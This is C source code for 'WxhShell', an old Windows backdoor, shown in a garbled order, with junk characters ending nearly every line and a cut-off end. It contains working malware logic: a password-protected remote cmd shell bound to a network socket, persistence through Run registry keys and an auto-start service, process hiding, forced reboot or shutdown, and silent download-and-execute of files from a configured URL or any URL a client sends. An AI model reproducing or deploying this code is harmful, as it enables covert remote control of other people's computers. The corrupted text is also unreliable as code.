    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ']]&<B}mz  
    if(Boot(SHUTDOWN)) GXE6=BO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @\UoZv(  
    else { p!~{<s]  
    closesocket(wsh); "=BO,see9  
    ExitThread(0); Y4B< ]C4  
    } J|BZ{T}d  
    break; VF<C#I  
    } @~l?hf  
  // 获取shell P_w\d/3  
  case 's': { 4Dd7 I  
    CmdShell(wsh); S=wJ{?gzAK  
    closesocket(wsh); k-LT'>CWl  
    ExitThread(0); M"t=0[0DM:  
    break; yU@~UCmja  
  } ?$T39U^  
  // 退出 96.z\[0VZ  
  case 'x': { qJ|n73yn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r4D 6I,  
    CloseIt(wsh); -MqWcB9&  
    break; F}lgy;=h  
    } l< y9ue=  
  // 离开 *I(g~p  
  case 'q': { (cj3[qq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (3=(g  
    closesocket(wsh); iWN-X (  
    WSACleanup(); u8wZ2j4S  
    exit(1); O(( kv|X4  
    break; `=0J:  
        } OZ$"P<X_"  
  } ]%y~cq  
  } D-8>?`n\  
BI\+ NGrB  
  // 提示信息 y ;4h'y>#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cc%O35o  
} ($oO, c'z  
  } 4P>tGO&*x  
Uq,M\V \  
  return; N&0MA  
} {xC CUU  
'ZHu=UT7_  
// shell模块句柄 WLAJqmC]  
int CmdShell(SOCKET sock) >Ufjmm${  
{ ; -RhI_  
STARTUPINFO si; W].P(A>m  
ZeroMemory(&si,sizeof(si)); ,Dz2cR6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x,Cc$C~YP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `FImi9%F  
PROCESS_INFORMATION ProcessInfo; e<> Lr  
char cmdline[]="cmd"; B=;pyhc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =oF6|\]{ ;  
  return 0; ZHs hg`I`  
} Te8BFcJG  
id-VoHd K  
// 自身启动模式 Hr$oT=x[  
int StartFromService(void) LaZF=<w(  
{ k:4?3zJI  
typedef struct s'^zudx  
{ ;!@\|E  
  DWORD ExitStatus; t#y   
  DWORD PebBaseAddress; xX'Uq_ Jv  
  DWORD AffinityMask; ndm19M8Y|  
  DWORD BasePriority; I_yIVw;  
  ULONG UniqueProcessId; r<oI4px  
  ULONG InheritedFromUniqueProcessId; L-d8bA  
}   PROCESS_BASIC_INFORMATION; c= 2e?  
*x| <\_+  
PROCNTQSIP NtQueryInformationProcess; L!L/QG|wdf  
DJE/u qE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wS2iyrIB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >:]fN61#  
xQ7n$.?y@  
  HANDLE             hProcess; K]bS:[34 R  
  PROCESS_BASIC_INFORMATION pbi; 3D~Fu8Hg1  
34C ^vBp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LIH>IpamN  
  if(NULL == hInst ) return 0; J1<fE(X  
JXeqVKF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YF{K9M!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e76@-fg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s8|#sHT  
A*pihBo7  
  if (!NtQueryInformationProcess) return 0;  2H<?  
Xh]\q)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b,a\`%m}  
  if(!hProcess) return 0; ^+[o +  
2vnzB8 "k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nRQIrUNq  
xgR*j  
  CloseHandle(hProcess); +&\TdvNI4  
l@*/1O)v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J'O`3!Oy/  
if(hProcess==NULL) return 0; [6S"iNiyKT  
=] 5;=>(  
HMODULE hMod; <nsl`C~6g0  
char procName[255]; *vhm  
unsigned long cbNeeded; tL+8nTL  
z s"AYxr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pOI+  
`Ik}Xw  
  CloseHandle(hProcess); 73~Mq7~8  
}WGi9\9T&  
if(strstr(procName,"services")) return 1; // 以服务启动 F.8{ H9`  
-e(2?Xq9  
  return 0; // 注册表启动 /&j4IlT  
} Xs?7Whc6  
zF i+6I$  
// 主模块 TiBE9  
int StartWxhshell(LPSTR lpCmdLine) ;oFaDTX]  
{ ;D8Nya>%  
  SOCKET wsl; wI}'wALhA  
BOOL val=TRUE; K=5_jE^e  
  int port=0; vB4cdW 2#3  
  struct sockaddr_in door; ap%o\&T;  
]bnxOk  
  if(wscfg.ws_autoins) Install(); Ql*/{#$  
z3*G(,  
port=atoi(lpCmdLine); =w A< F  
0v7;Z xD  
if(port<=0) port=wscfg.ws_port; 2K*-uT#$~  
] |`gTD6  
  WSADATA data; jPU# {Wo#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L7Oytdc<  
2Bjp{)*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'fA D Dh}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a3c4#'c|D  
  door.sin_family = AF_INET; nnGA_7-t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .`'SL''c  
  door.sin_port = htons(port); Bhq(bV  
@I"Aet'XV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  ,O~2 R  
closesocket(wsl); C-Fp)Zs{0  
return 1; '*,4F'  
} j [U0,]  
c?R.SBr,'  
  if(listen(wsl,2) == INVALID_SOCKET) { _TPo=}Z  
closesocket(wsl); Gm2rjpZeq  
return 1; UdI>x 4bI  
} DpS6>$v8t  
  Wxhshell(wsl); o mjLQp[%  
  WSACleanup(); rFy9K4D  
Na~_=3+a  
return 0; wO!hVm,T a  
Y!7P>?)`,X  
} k(qQvn  
Wq9s[)F"Z  
// 以NT服务方式启动 ?^ErrlI_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #P9VX5Tg  
{ !F<?he<U  
DWORD   status = 0; Awh"SU Oh0  
  DWORD   specificError = 0xfffffff; =h_gj >  
&\X;t|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {H+?DMh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BkZ%0rw%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KncoIw  
  serviceStatus.dwWin32ExitCode     = 0; 'j)eqoj  
  serviceStatus.dwServiceSpecificExitCode = 0; D1Sl+NOV  
  serviceStatus.dwCheckPoint       = 0; 'j3'n0o  
  serviceStatus.dwWaitHint       = 0; P~qVr#eU  
-mkync3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bp$jD  
  if (hServiceStatusHandle==0) return; O(~Vvoq  
;:e,C@Fm  
status = GetLastError(); " }ZD)7K  
  if (status!=NO_ERROR) !>:tF,fcB  
{ =5|5j!i=q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j>b OnCp~  
    serviceStatus.dwCheckPoint       = 0; r#Fu<so,  
    serviceStatus.dwWaitHint       = 0; aBI]' D;  
    serviceStatus.dwWin32ExitCode     = status; >Qx#2x+  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2>!ykUw^O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m5p~>]}fYF  
    return; "/'= gE  
  } Km nr }Lp9  
~JNuy"8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }6bLukv  
  serviceStatus.dwCheckPoint       = 0; @ubz?5  
  serviceStatus.dwWaitHint       = 0; S }n;..{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `SwnKg  
} lewDR"0Kx  
J7_H.RPa  
// 处理NT服务事件,比如:启动、停止 !:t9{z{Ixg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9vbh5xX   
{ 3PA'Uk"5Z  
switch(fdwControl) mCGcM^21-x  
{ uf^:3{1  
case SERVICE_CONTROL_STOP: 0|ps),  
  serviceStatus.dwWin32ExitCode = 0; ?},ItJ#>)q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uJOW%|ZN`  
  serviceStatus.dwCheckPoint   = 0; VL{#.;QQa  
  serviceStatus.dwWaitHint     = 0; oSl>%}  
  { ZYsFd_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  +o  
  } vOK;l0%  
  return; X u_<4  
case SERVICE_CONTROL_PAUSE: S2R[vB4).  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <n\.S  
  break; `g1Oon_  
case SERVICE_CONTROL_CONTINUE: ]1&9~TL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~{+{pcO}  
  break; h2%:;phH  
case SERVICE_CONTROL_INTERROGATE: ~&}O|B()  
  break; 2f!oA~|2  
}; YP<]f>SBt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~qS/90,  
} !T*B{+|  
<yS"c5D6  
// 标准应用程序主函数 hQm4R]a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m=MT`-:  
{ BB.TrQM.#  
a+/|O*>#  
// 获取操作系统版本 X6.O ;  
OsIsNt=GetOsVer(); :xPvEK[B7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TyWy5J< :+  
]uvbQ.l_t  
  // 从命令行安装 >t2b?(h/x  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8q3TeMYV  
hzLGmWN2j8  
  // 下载执行文件 2 mZ/ 3u  
if(wscfg.ws_downexe) { &%X Jf~IQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3@] a#>  
  WinExec(wscfg.ws_filenam,SW_HIDE); \=7=>x_  
} 1[l>D1F?  
IBkH+j  
if(!OsIsNt) { HzV+g/8>A  
// 如果时win9x,隐藏进程并且设置为注册表启动 y.:-  
HideProc(); $-]setdY  
StartWxhshell(lpCmdLine); ^,K.)s  
} 8uxFXQ  
else 5{q/z^]  
  if(StartFromService()) WdqK/s<jM  
  // 以服务方式启动 j#,M@CE  
  StartServiceCtrlDispatcher(DispatchTable); p^rX.?X  
else ~5uNw*H  
  // 普通方式启动 6wB>-/'Y  
  StartWxhshell(lpCmdLine); 0NtsFPO  
]&U|d  
return 0; Noxz kpMF  
} ?0NSjK5ma  
9yo[T(8  
%`QsX {?,  
;lH,bX~5  
=========================================== e H  
T(UYlLe  
mzxvfXSF  
iT5SuIv  
\~t~R q  
'1'1T5x~  
" 9! HMQ  
bM^A9BxD  
#include <stdio.h> \a2oM$PX  
#include <string.h> GFdJFQio  
#include <windows.h> sK-|xU.  
#include <winsock2.h> jL+}F/~r  
#include <winsvc.h> 'uAC oME@  
#include <urlmon.h> 0 a6@HwO  
0^.4eX:E_  
#pragma comment (lib, "Ws2_32.lib") +N$7=oGC  
#pragma comment (lib, "urlmon.lib") /v)!m&6]>  
$a*Q).^  
#define MAX_USER   100 // 最大客户端连接数 aE+$&_>ef  
#define BUF_SOCK   200 // sock buffer fC GDL6E  
#define KEY_BUFF   255 // 输入 buffer J5p!-N`NS  
,35: Srf|  
#define REBOOT     0   // 重启 }0*ra37z>  
#define SHUTDOWN   1   // 关机 sq(Ar(L<  
E'S;4B5?  
#define DEF_PORT   5000 // 监听端口 dU>R<jl!$  
d)1sP0Z_@  
#define REG_LEN     16   // 注册表键长度 06 Esc^D  
#define SVC_LEN     80   // NT服务名长度 &tz%WW%D8  
gVA}?t;  
// 从dll定义API tD7C7m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8^/Ek<Q b|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O;BMwg_7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B Ff. Rd95  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oB06{/6  
0/P-> n~  
// wxhshell配置信息 W|rFl]~a  
struct WSCFG { =R;1vUio  
  int ws_port;         // 监听端口 vYR=TN=Z4  
  char ws_passstr[REG_LEN]; // 口令 0tm_}L$g=b  
  int ws_autoins;       // 安装标记, 1=yes 0=no _Kl{50}]  
  char ws_regname[REG_LEN]; // 注册表键名 bOSYr<R&  
  char ws_svcname[REG_LEN]; // 服务名 mGpkM?Y"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0SCW2/o8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (zJ$oRq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pv %vx U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KT;C RO>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2@m(XT (  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v8[ek@  
-?w v}o  
}; %Di 7u- x  
ds$\vSd  
// default Wxhshell configuration _h=< _Z  
struct WSCFG wscfg={DEF_PORT, AV[PQI  
    "xuhuanlingzhe", JIbzh?$aD  
    1, XJlDiBs9=Q  
    "Wxhshell", b8{h[YJL2  
    "Wxhshell", b!5tFX;J  
            "WxhShell Service", OwiWnS<  
    "Wrsky Windows CmdShell Service", gvc' $9%  
    "Please Input Your Password: ", G<u.+V  
  1, *VC4s`<  
  "http://www.wrsky.com/wxhshell.exe", u5XU`!  
  "Wxhshell.exe" 9HNh*Gc=  
    }; Q0q)n=i }]  
)' x/q  
// 消息定义模块 H&yFSz}6a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~b$z\|Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wO_pcNYZ8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A.$VM#  
char *msg_ws_ext="\n\rExit."; RZ)vU'@kx  
char *msg_ws_end="\n\rQuit."; 1f@U :<:  
char *msg_ws_boot="\n\rReboot..."; uWR,6\_jY  
char *msg_ws_poff="\n\rShutdown..."; HDSA]{:sl  
char *msg_ws_down="\n\rSave to "; bV )PT`-,  
J!A/r<  
char *msg_ws_err="\n\rErr!"; 34m']n  
char *msg_ws_ok="\n\rOK!"; Q9eYF-+  
m['v3m:  
char ExeFile[MAX_PATH]; DA4edFAuE  
int nUser = 0; jWv3O&+?X  
HANDLE handles[MAX_USER]; U8WHE=Kk\h  
int OsIsNt; ))CXjwLj;  
M89-*1  
SERVICE_STATUS       serviceStatus; n$m]58w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {*<O"|v  
@wB'3q}(  
// 函数声明 d)hzi  
int Install(void); ^aD/ .  
int Uninstall(void); N}}PlGp$  
int DownloadFile(char *sURL, SOCKET wsh); =hugnX<9  
int Boot(int flag); [!:-m61  
void HideProc(void); jsqUMy-  
int GetOsVer(void); :rTKqX&"j  
int Wxhshell(SOCKET wsl); NDe[2  
void TalkWithClient(void *cs); @ yg| OA}  
int CmdShell(SOCKET sock); Z}LOy^TL  
int StartFromService(void); @\6nXf  
int StartWxhshell(LPSTR lpCmdLine); 7>t$<J  
e}?1T7NPG]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s`Be#v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vh. Wm?qQ  
6_9:Eb=^v!  
// 数据结构和表定义 6cQeL$,SQ  
SERVICE_TABLE_ENTRY DispatchTable[] = +;:aG6q+  
{ G%j/eTTf  
{wscfg.ws_svcname, NTServiceMain}, \~z?PA.$  
{NULL, NULL} <i:*p1#Bm  
}; hyk|+z`B  
H)j [eZP  
// 自我安装 V`R)#G>IH%  
int Install(void) e}](6"t`5  
{ i3M?D}(Bs  
  char svExeFile[MAX_PATH]; ]uStn   
  HKEY key; AT%* ~tr  
  strcpy(svExeFile,ExeFile); >Bh)7>`3c  
"UhK]i*@l  
// 如果是win9x系统,修改注册表设为自启动 Z0()pT  
if(!OsIsNt) { ;"d,~nLn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @pqY9_:P1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "o^bN 9=  
  RegCloseKey(key); nl)_`8=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "q9~ C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WIEx '{  
  RegCloseKey(key); ,u ?wYW;  
  return 0; >}dTO/  
    } ]HJ{dcF  
  } Lo|NE[b:G  
} S{^6iR  
else { 0$xK   
Xb(CH#*{z  
// 如果是NT以上系统,安装为系统服务 w&wA >q>&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {(m+M  
if (schSCManager!=0) b!4N)t>gl  
{ ;PfeP ;z  
  SC_HANDLE schService = CreateService R "/xne  
  ( 5';/@M  
  schSCManager, )Y&MIJ7>@  
  wscfg.ws_svcname, ]^yV`Z8  
  wscfg.ws_svcdisp, GZ/pz+)i&  
  SERVICE_ALL_ACCESS, ?Kx6Sf<i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  95.qAFB1  
  SERVICE_AUTO_START, c W81  
  SERVICE_ERROR_NORMAL, R/ ALR  
  svExeFile, 45Nv_4s  
  NULL, g:3d<CS  
  NULL, msA' 5>  
  NULL,  D rF  
  NULL, PtVo7zO ye  
  NULL 86;+r'3p.  
  ); G*P[z'K=  
  if (schService!=0) (*Gi~?-  
  { }j+~'O4m  
  CloseServiceHandle(schService); qy7hkq.uX  
  CloseServiceHandle(schSCManager); f nLR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); + >T7Q`64  
  strcat(svExeFile,wscfg.ws_svcname); H$NP1^5!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Gt^|+[gD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wphe%Of  
  RegCloseKey(key); ewb*?In  
  return 0; ntrY =Y  
    } 8Zcol$XS'  
  } =&di4'`  
  CloseServiceHandle(schSCManager); b34zhZ  
} 2x7(}+eD  
} c&E*KfOG  
bn0"M+7)f  
return 1; a za o`z  
} d u.HSXK  
Zw;$(="  
// 自我卸载 O{lIs_1.Z  
int Uninstall(void) 8yHq7=  
{ qiG]nCq  
  HKEY key; %/{IssCR7  
BKa A=Bl  
if(!OsIsNt) { -vyIOH,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #5'c\\?Q  
  RegDeleteValue(key,wscfg.ws_regname); jo 7Hyw!g  
  RegCloseKey(key); aqcFY8b '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lTa1pp Zw  
  RegDeleteValue(key,wscfg.ws_regname); ljN zYg~-  
  RegCloseKey(key); *0=fT}&!  
  return 0; Nc G,0K  
  } KotPV  
} +90u!r^v  
} Ak xH  
else { #=X)Jx~  
ShC_hi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J y]FrSm^  
if (schSCManager!=0) 8!Wfd)4=,F  
{ =jJ H^Y2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >}-~rZ  
  if (schService!=0) `)rg|~#k  
  { |?\gEY-Se  
  if(DeleteService(schService)!=0) { qru2h #  
  CloseServiceHandle(schService); PYdIP\<V  
  CloseServiceHandle(schSCManager); xCR; K]!  
  return 0; ]XmQ]Yit  
  } whV&qe;sw  
  CloseServiceHandle(schService); gsW=3m&`  
  } Z 6 tE{/  
  CloseServiceHandle(schSCManager); ?RZq =5Um&  
} k%{ l4  
} /6Y0q9  
R ^HohB  
return 1; }BA9Ka#%  
} ]b}B~jD  
CkRyzF  
// 从指定url下载文件 [?;`x&y~y  
int DownloadFile(char *sURL, SOCKET wsh) TcR=GR*cJ  
{ X7e>Z)l  
  HRESULT hr; qIB>6bv#x  
char seps[]= "/"; x$~3$E  
char *token; U'rr?,RML  
char *file; A|2 <A !  
char myURL[MAX_PATH]; Q}WL/X5  
char myFILE[MAX_PATH]; V]r hr  
r %+Bc Y  
strcpy(myURL,sURL); uQ{=o]sy  
  token=strtok(myURL,seps); 0('OyH)  
  while(token!=NULL) aL88E  
  { \s,Iz[0Vfz  
    file=token; 7@FDBjq  
  token=strtok(NULL,seps); Kp8fh-4_  
  } )V=0IZi  
V{43HA10b  
GetCurrentDirectory(MAX_PATH,myFILE); xC<R:"Mn  
strcat(myFILE, "\\"); I|H,)!Z  
strcat(myFILE, file); <#zwKTmK1  
  send(wsh,myFILE,strlen(myFILE),0); XFtOmY  
send(wsh,"...",3,0); OWqrD@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _~juv&  
  if(hr==S_OK) Sbp  
return 0; aD+0\I[x  
else z9^c]U U)E  
return 1; ~D*b3K 8X  
<'W=]IAV  
} ldK>HxM%Z  
f(!E!\&n^  
// 系统电源模块 &j3` )N  
int Boot(int flag)  GaHA%  
{ Ft3I>=f{  
  HANDLE hToken; BlL|s=dlQV  
  TOKEN_PRIVILEGES tkp; w2k<)3 g~  
HC?0Lj  
  if(OsIsNt) { P= e4lF.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'c#IMlv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,E%1Uq"  
    tkp.PrivilegeCount = 1; mU>&ql?e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Jms=YLIAA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); expxp#S  
if(flag==REBOOT) { q1STRYb   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <]~ZPk[  
  return 0; Og=[4?Kpk  
} 4e}{$s$Xx  
else { *vb^N0P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n|6?J_{<b>  
  return 0; 'm[6v}  
} 2%5?F n=  
  } %Mh Q  
  else { <3lUV7!  
if(flag==REBOOT) { .x EJaID\N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `-o5&>'nf  
  return 0; {>/)5 AGs  
} &2Q*1YXj  
else { b"Zq0M0 l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {H+?z<BF<  
  return 0; J,RDTXqn  
} !I~C0u  
} n3'dLJH|  
Ey'J]KVW  
return 1; Vd21,~^>g  
} sllzno2bU  
`%oIRuYG]j  
// win9x进程隐藏模块 =rEA:Q`~w  
void HideProc(void) @^'$r&M  
{ `YU=~xQ  
2yvVeo&3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #\LZ;&T'N  
  if ( hKernel != NULL ) Nl { 7  
  { U~wjR"='  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JIMWMk;ot  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o*-9J2V=J  
    FreeLibrary(hKernel); -3` "E%9  
  } N};t<Xev  
kQIfYtT  
return; BB63x Ex  
} ~\ [?wN  
p'g^Wh  
// 获取操作系统版本 %&tb9_T)d  
int GetOsVer(void) .1LPlZ  
{ 7-X/>v  
  OSVERSIONINFO winfo; {\EOo-&A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J,(7.+`~#  
  GetVersionEx(&winfo); 0aogBg_@K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mL$f[  
  return 1; v77fQ0w3  
  else ZjS(ad*.2  
  return 0; /=T H08  
} XMw.wQ '?  
'#W_boN  
// 客户端句柄模块 W^k,Pmopy  
int Wxhshell(SOCKET wsl) TY~Vi OC  
{ +;dXDZ2  
  SOCKET wsh; q? 9GrwL8F  
  struct sockaddr_in client; ddoFaQ8  
  DWORD myID; 5,R`@&K3D  
NF mc>0-  
  while(nUser<MAX_USER) DT\ym9  
{ {]`p&@  
  int nSize=sizeof(client); f?^S bp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =m9i)Q  
  if(wsh==INVALID_SOCKET) return 1; #uKWuGz]  
H2U:@.o2&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3$_*N(e  
if(handles[nUser]==0) RLHYw@-j@  
  closesocket(wsh); ybE[B}pOeZ  
else bAiJn<  
  nUser++; s"coQ!e1.  
  } Bc<n2 C0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TF\sP8>V  
4mJFvDZV`  
  return 0; 88l,&2q  
} 0% +'  
8_a3'o%5  
// 关闭 socket `%=<R-/#7S  
void CloseIt(SOCKET wsh) \ I:.<2i  
{ aMJ;bQD  
closesocket(wsh); W#{la`#Bu  
nUser--; h/K@IA d  
ExitThread(0); +c) TDH  
} #9:2s$O[x  
EnJ!mr  
// 客户端请求句柄 =EpJZt  
void TalkWithClient(void *cs) _mk5^u/u  
{ 1TZPef^y  
+s~.A_7)  
  SOCKET wsh=(SOCKET)cs; H^ BYd%-  
  char pwd[SVC_LEN]; f4"4ZVcr  
  char cmd[KEY_BUFF]; pj; I)-d/  
char chr[1]; LuS+_|]x  
int i,j; k ZxW"2  
k>5O`Y:  
  while (nUser < MAX_USER) { rwgsXS8W6  
,Sg33N ?  
if(wscfg.ws_passstr) { opD-vDa h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mmP U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L/i(KF{  
  //ZeroMemory(pwd,KEY_BUFF); ARWZ; GX  
      i=0;  D:JS)+]  
  while(i<SVC_LEN) { 9i%9   
:1;Q(9:v  
  // 设置超时 %K1")s  
  fd_set FdRead; u7].}60.'  
  struct timeval TimeOut; z"UPyW1?  
  FD_ZERO(&FdRead); _a5(s2wq+  
  FD_SET(wsh,&FdRead); ,2,5Odrz  
  TimeOut.tv_sec=8; x=*L-  
  TimeOut.tv_usec=0; aWGon]2p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Mu2`ODe]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OCK>%o$[  
pM2a(\K,k^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m@\ZHbq  
  pwd=chr[0]; re`t ]gzb  
  if(chr[0]==0xd || chr[0]==0xa) { <3Gqv9Y&  
  pwd=0; :=fvZAWD  
  break; l r~gG3   
  } hs(W;tR@W  
  i++; ;LMWNy4  
    } Wi$dZOcSJ  
FjFwvO_.  
  // 如果是非法用户,关闭 socket Fo}7hab  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _Y!sVJ){,c  
} x_!ZycEa  
CS@&^SEj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lh ap4:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z<"K_bj   
Phs-(3  
while(1) { Cq\I''~8  
:2y"3azxk  
  ZeroMemory(cmd,KEY_BUFF); "HlgRp]u  
Ns=AjhLc z  
      // 自动支持客户端 telnet标准   DDeE(E  
  j=0; euQ.ArF  
  while(j<KEY_BUFF) { e:-8k_0|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d,9`<1{9  
  cmd[j]=chr[0]; 8l>CR#%@C  
  if(chr[0]==0xa || chr[0]==0xd) { ' ~Q2!F  
  cmd[j]=0; YI@Fhr &NU  
  break; p]ivf  
  } GEe`ZhG,  
  j++; J/W{/E>;  
    } Bs!4H2@{(]  
FxRXPt FK  
  // 下载文件 "A[ b rG  
  if(strstr(cmd,"http://")) { |d}MxS`^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2UadV_s+s  
  if(DownloadFile(cmd,wsh)) _MfD   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .C bGDZ  
  else 1-VT}J(  
